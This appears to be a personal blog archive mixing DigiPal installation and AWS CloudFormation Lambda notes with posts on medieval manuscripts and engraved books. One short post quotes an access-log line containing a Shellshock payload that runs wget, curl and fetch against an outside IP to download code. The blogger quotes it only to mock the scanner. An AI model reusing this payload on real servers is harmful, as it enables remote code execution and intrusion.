Installing DigiPal - Part 2, Scripts and Configuration

Once you have all the parts installed, there is some configuration that the Dockerfile takes care of automatically that you will have to do by hand

Postgres

(The AWS-way to do this would be to spin up a Postgres RDS instance, but that was too many variables for a first try. I leave it as an exercise to the reader)

• Login to postgres and create a digipal DB and digipal user, for that the instructions in GitHub are accurate, see the databasesection, until the step that starts "After that, run in your terminal the following commands:". 

• By default postgres is not configured to allow password login locally, only "account" based socket login. You need to change that by editing /var/lib/pgsql93/data/pg_hba.conf. Set the line that looks like 

local   all             all                                   ident

to be

local   all             all                                     md5

Replace ident with md5 and restart postgres. You can now continue in the GitHub instructions from "After that, run in your terminal the following commands:"

Lighttpd

• Add to /etc/lighttpd/lighttpd.conf, at the endinclude "vhosts.d/digipal.conf"
• uncomment in /etc/lighttpd/modules.confinclude "conf.d/fastcgi.conf"
• create /etc/lighttpd/vhosts.d/digipal.conf

#include_shell "/usr/share/lighttpd/create-mime.assign.pl"
#include_shell "/usr/share/lighttpd/include-conf-enabled.pl"
fastcgi.server = ( "/iip/iipsrv.fcgi" =>
  (( "host" => "127.0.0.1",
     "port" => 9000,
     "check-local" => "disable",
     "min-procs" => 1,
     "max-procs" => 1,
     "bin-path" => "/etc/lighttpd/iipsrv.fcgi",
     "bin-environment" => (
        "LOGFILE" => "/tmp/iipsrv.log",
        "VERBOSITY" => "10",
        "MAX_IMAGE_CACHE_SIZE" => "20",
#        "FILENAME_PATTERN" => "_pyr_",
        "JPEG_QUALITY" => "75",
        "MAX_CVT" => "3000",
        "FILESYSTEM_PREFIX" => "/apps/digipal/images/"
      )
  ))
)

NB. you will need to set the FILESYSTEM_PREFIX as needed for your environment

• Copy iipserv.cgi to /etc/lighttpd/ and set it as executable: chmod a+rx /etc/lighttpd/iipserv.cgi

Access

As I have my system configured these apps are not accessable to the outside world, but only to localhost. When I want to use it, I ssh to the machine and do local port forwarding, i.e.ssh -L 8000:localhost:8000 -L 8081:localhost:8081 ${USER}@${SERVER}The port 8000 is used for the web server, 8081 for the image server (that's what lighttpd does). You should then be able to access your digipal by pointing a browser to http://localhost:8000

NB. this worked for me, after some hacking around, but I provide no guarantee that these instructions are complete.  Moniti estis

Installing DigiPal in AWS

There is some documentation on spinning up Digipal in a server, versus the Docker distribution, on their Github, but I found that information incomplete. Here is what I had to do to configure a running instance in AWS, running on AWS's linux AMI, which is mostly like Fedora. Note that I do not have Nginx running, so there's still some port weirdness. This is part 1 of 2, we'll just install and build everything. Part 2 will have configuring lighttpd to serve the images and postgresql account stuff

Pre-reqs

What to install

The following packages all to be installed with yum. There's a single-line at the bottom if you want to just do it

• git - git (duh)
• Postgres - postgresql93 postgresql93-server postgresql93-devel
• ImageMagick - (note that we only need the CLI tools, not the devel libs) ImageMagick
• libmysqlclient-devel - (stated in the reqs, no idea why) mysql56-devel
• lighttpd - (needed for iip fastcgi) lighttpd lighttpd-fastcgi
• Pre-reqs to build IIP - gcc, gcc-g++ libxml2-devel libxml2-python27 libxslt-devel automake autoconf libtool libjpeg-devel libtiff-devel
• Lessc - (used by Digipal in the CLI, runs in Node.js. Note that this is not part of the AWS repos, so you have to pull from epel) nodejs npm python-lesscpy

Big omnibus commands, need to be run as root or via sudo

yum install git postgresql93 postgresql93-server postgresql93-devel ImageMagick 
mysql56-devel gcc, gcc-g++ libxml2-devel libxml2-python27 libxslt-devel automake 
autoconf libtool libjpeg-devel libtiff-devel lighttpd lighttpd-fastcgi

yum install nodejs npm python-lesscpy --enablerepo=epel

What to build

• lesscp - needs to be built by npm, -g makes it global - npm install -g less

IIP

• Get the code from git - git clone https://github.com/ruven/iipsrv.git
• Build it:

cd iipserv
./autogen.sh
./configure
make
make check
sudo cp src/iipsrv.fcgi /etc/lighttpd/

DigiPal

Now time to install digipal itself

• get the code from Git

git clone https://github.com/kcl-ddh/digipal
cd digipal
git checkout 1.2.1a

• Now follow their instructions to get dependencies and install
  pip install -r requirements.txt

NB 1.2.1a is the current version in git. If you want to look at the versions, go to the GitHub page and click the "branches" dropdown. Replace 1.2.1a with any of those values verbatum

How to convert ElasticBeanstalk application to Lambda

The goal - take the code that has been running in an ElasticBeanstalk environment and run it as a Lambda job, triggering whenever a file is dropped into an S3 bucket.

The Requirement - To properly deploy it into our prod environment, all resources must be deployed via CloudFormation. Note that we are not the development team, so we are assuming that some code has been written and uploaded as a .war/.zip file to an S3 bucket. This means that, at a high level, we need three deployments to:

Deployments

1. Deployment
   • Create an IAM role that uses the same policy as the EB role, but can assume lambda.amazonaws.com as its role. Also include several managed policies to let the Lambda instances come into being
   • Create a Lambda function, loading its code from a .war file uploaded to S3. Assign it the role
   • Create an S3 bucket for sourcing files
2. Deployment
   • Create a Lambda permission, note that this is a thing in the Lambda namespace, not IAM, that allows the S3 bucket to invoke the lambda function. This cannot be done until the Lambda function and the S3 bucket have been created (deployment 1)
3. Deployment
   • Update the S3 bucket from deployment 1 to notify the Lambda function. This cannot be done until the Lambda and the Lambda permission are created, since creation runs a test notification that must succeed for the update to be sucessful.

Cloudformation Samples ^[1]

Lambda Role

This is the IAM role given to the running Lambda instance. The example given spawns a Lambda inside an existing VPC, so needs the managed VPC role. If you are running outside a VPC, a different managed policy is needed.

    "LambdaRole": {
      "Type": "AWS::IAM::Role",
      "Properties": {
        "RoleName" : "LambdaRole",
        "ManagedPolicyArns" : [
          "arn:aws:iam::aws:policy/service-role/AWSLambdaVPCAccessExecutionRole"
        ],
        "AssumeRolePolicyDocument": {
          "Version" : "2012-10-17",
          "Statement": [  
            {
              "Effect": "Allow",
              "Principal": {
                "Service": [ "lambda.amazonaws.com" ]
              },
              "Action": [ "sts:AssumeRole" ]
          }]
        },
        "Path": "/"
      }
    },

Lambda Function

The actual lambda function definition. Needs to have the code uploaded to S3 in order to deploy. This can be run in parallel with the IAM role creation. This example builds a Lambda that runs in Java8, but Node.js and Python would be similar. In this sample the Lambda is given a SecurityGroup to allow it access to back-end services (RDS, etc), where access is by source group.

    "SearchLambda": {
      "Type": "AWS::Lambda::Function",
      "Properties": {
        "Description" : "Description Text",
        "FunctionName" : { "Fn::Join" : ["-", [{"Ref" : "EnvTag"}, "import", "lambda01"]]  },
        "Handler": "org.hbsp.common.lambda.pim2cs.S3EventHandler",
        "Role": { "Fn::GetAtt" : ["LambdaRole", "Arn"] },
        "MemorySize" : "512",
        "Code": {
          "S3Bucket": "Sourcecode-BucketName",
          "S3Key": { "Fn::Join" : ["/", ["directory/path", {"Ref" : "EnvTag"}, "artifact-name-version.zip"]]}
        },
        "Runtime": "java8",
        "Timeout": "300",
        "VpcConfig" : {
          "SecurityGroupIds" : [
            {"Ref" : "AppServerSG"}
          ],
          "SubnetIds" : [
            { "Ref" : "PriSubnet1" },
            { "Ref" : "PriSubnet2" },
            { "Ref" : "PriSubnet3" }
          ]
        }
      }
    }

S3 Bucket (withouth Notifcations)

Initial deployment of S3 bucket to create it. This is needed for the Lambda permissions, but cannot have notifications attached yet.

    "PlatformBucketQA":{
     "Type": "AWS::S3::Bucket",
     "Properties" : {
       "BucketName" : "sp-transfer-qa",
       "Tags" : [
           <Many Tags Go Here>
       ],
       "LoggingConfiguration" : {
         "DestinationBucketName" : "logbucket",
         "LogFilePrefix" : "s3/"
       }
     }
   },

Lambda Permission

This assigns calling permission TO the lambda function from the source S3 bucket. Both of those must be already created before this can be executed. It is possible that this would work with a "DependsOn" clause, but I find it easier to simply deploy this as a seperate step from the Lambda and Bucket

    "SearchLambdaPerm": {
      "Type": "AWS::Lambda::Permission",
      "Properties" : {
        "Action": "lambda:InvokeFunction",
        "FunctionName": {"Ref": "SearchLambda"},
        "Principal": "s3.amazonaws.com",
        "SourceAccount": {"Ref": "AWS::AccountId"},
        "SourceArn": { "Fn::Join": [":", [
            "arn", "aws", "s3", "" , "", {"Ref" : "PlatformBucketQA"}]]
        }
      }
    },

S3 Bucket (with Notifcations)

This is an addition to the previous S3 bucket code, adding the specific notification configurations. In this model only files created, where created includes renaming/moving files in the bucket, that match the glob asset/incoming/*xml. The "Event" parameter can be changed to trigger on different S3 actions

    "PlatformBucketQA":{
     "Type": "AWS::S3::Bucket",
     "Properties" : {
       "BucketName" : "sp-transfer-qa",
       "Tags" : [
           <Many Tags Go Here>
       ],
       "NotificationConfiguration": {
         "LambdaConfigurations": [
           {
             "Event" : "s3:ObjectCreated:*",
             "Function" : { "Fn::GetAtt" : ["SearchLambda", "Arn"] },
             "Filter" : {
               "S3Key" : {
                 "Rules" : [
                   {
                     "Name" : "prefix",
                     "Value" : "asset/incoming"
                   },
                   {
                     "Name" : "suffix",
                     "Value" : "xml"
                   }
                 ]
               }
             }
           }
         ]
       },
       "LoggingConfiguration" : {
         "DestinationBucketName" : "logbucket",
         "LogFilePrefix" : "s3/"
       }
     }
   },

From the Danish National Library, a digitized version of a late 16th Century Book of Jewish Customs (Sefer Minhagin in Hebrew, Minhogim Bukh in Yiddish).  This copy is slighly incomplete, missing at least 2 of the larger wood-block prints and one of the Zodiac/month illustrations.

(image #10, describing Havdallah -- the ceremony at the end of Shabbat)
AM

You know you're skilled as a hacker when you're so fast, you don't even need to configure your scanning scripts:

106.51.29.122 - - [01/Aug/2016:13:49:38 -0400] ***.******.*** "GET HTTP/1.1 HTTP/1.1" 400 340 "-" "() 
{ :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://185.125.4.222/YOUR_URL_HERE ; 
curl -O http://185.125.4.222/YOUR_URL_HERE ; fetch http://185.125.4.222/YOUR_URL_HERE\");'"

They're trying to use a the Shellshock vulnerability I think.

This horribly mangled item is the remains of what once was probably a beautiful Book of Hours, probably from Spain.  None of the miniatures or historiated initials remain, but what does survive includes the February-December of the Calendar, a piece of the Litany and terce-vespers (incomplete on both ends and the start of each hour) of the Hours of the Virgin.  The scribe who wrote this was extremely careful and talented.  Every page is ruled in red ink, double lines to the edge of the membrane for the edge of the text-block and a single line within the text block for each line of text

(f.12r)

For the calendar pages, the ruling is more complex, with two additional double-lines, though not extending above or below the text block, setting up columns for the Dominical Letters and the Golden Numerals.

(f.5r)

Besides the care in ruling and preparing, the scribe's writing is exceptional.  The strokes are even in both color and width and the text block is filled cleanly and evenly with no odd hanging strokes or unfilled lines.  Even the letter spacing is even

(Terce of the BVM from Typ 731)

Though none of the miniatures survive, the profusion of colored and gilded initials inline, particularly the Litany, suggest that this would have been a lavish book when intact

(Litany from Typ 731)

AM

Sometimes errors provide an interesting insight into processes. In this case the context is the calendar section of a Book of Hours held by the Boston Public Library, MS q. med 89, which dates to the mid 15th century and was made in Poitiers, France. In this calendar there are three columns of text:

• The main feast or saints name (black text for most, red for the most important)
• A dominical letter, used for calculating the date of Easter (black text)
• The numeral of the Roman Date, i.e. VI. (Red text)

There are 2 interesting errors that point to the practice of writing all of the black text first and then going back to add in the red. On the verso of May the Roman number is offset one row versus the Feast and the Dominical, which are in alignment (f.6v below) Notice that the red roman numerals start one row down from the top and continue one line past the black text. The dates of the feasts match the dominical letters and are offset from the Romans exactly by one.

The second one is at the very end of the verso of of November (f.12v below). In black we have, on November 29th, ‘Vig’ as shorthand for “The Vigil of St. Andrew, apostle”, and on the following page, 7 days later on the 7th of December, the Octave of the same Andrew(see f.13r below). There is, however nothing on November 30th, no feast at all. This should be the main feast of St. Andrew, and as the feast-day of an Apostle, it should be in red. The presence of both the Vigil and Octave, on the proper dates, is strong evidence that the saint should have been there and was forgotten, rather than being intentionally omitted. I would propose that the scribe simply forgot the last line on the page when he was doing the second pass for the rubrics.

A

Typ 295, from the Houghton Library at Harvard University, is a late 13th Century single-volume bible.  Specs are: 368 leaves of vellum, very thin, about 18cm high. It contains the Vulgate text with some additional apparatus, in this case Interpretationes Hebraicorum nominum and a table of readings.  These are often referred to as Parisian bibles, due to the large number of them which were created in the Paris stationary trade, but the catalogue identifies this on as Italian, due to the roundness of the gothic hand. There's plenty to say else about the manuscript, but I'm focusing on the rulings on the page.

The rulings consist of three parts: Titles, Text and Decorations.  Moving from top to bottom, the first pair of lines locate the title of the page, in this case "Sys" (the facing page has "Gen").  The next pair of horizontal lines mark out the first line of text in the block, and the rest of the block has ruling only within it, not extending to the edges of the page.  Finally there's a horizontal pair near the bottom of the page, which does not appear on all the pages of this MS.  I'm guessing that it has to do with the decorations, but that's speculation. 

For the vertical rulings, moving from the inside out, there's a pair of vertical lines to define the inside margin of the text block which also serve to structure the red/blue penwork decoration.  Next there's a double-column ruling, three lines, to spit the columns of text.  There's a vertical pair to end the text block and one final one to mark out the title margin, in this case for XXXVI.  This final block also contains penwork on some pages. 

All of these rulings, three horizontal pairs and four vertical sets, extend nearly to the edges of the membrane, far beyond where they are used.  In contrast the text block itself is ruled internally only, crossing the center gutter but not extending outside the margins after the first line.  The text floats between the rules lines, neither sitting on the baseline nor hanging from above.  Some descenders cross the baseline, but only a small amount (see closeup of Genesis 35, below).  The scribe has fit an enormous amount of text on the page, from Genesis 34:19 through part of 35:23, or about 1000 words

The last section of the manuscript, the Interpretationes Hebraicorum nominum, attributed to Jerome, but probably written later.  For our purposes it is interesting because the scribe has shifted to three columns of text.  These are demarcated only by 4 vertical rulings, the one to the left of each column also serving to structure the constant list of capital letters (see 'B' below)

All of the rulings appear to be in ink

Wim Delvoye has taken the modern large-format 3d printer and used it to recreate the Gothic world, if the EVERYTHING were Gothic.  Nautilus shells, tables, gazebos even a comcrete mixer are all done in complex neo-gothic tracery. 

One page, covering the pairs AL through AT, from a book of monograms entitled Schul der Pallas (The School of Pallas), engraved by Johann Baptista Homann.  This copy is owned by the Österreichisches Museum für angewandte Kunst (Austrian Museum of Applied Arts), more commonly referred to as the MAK.

A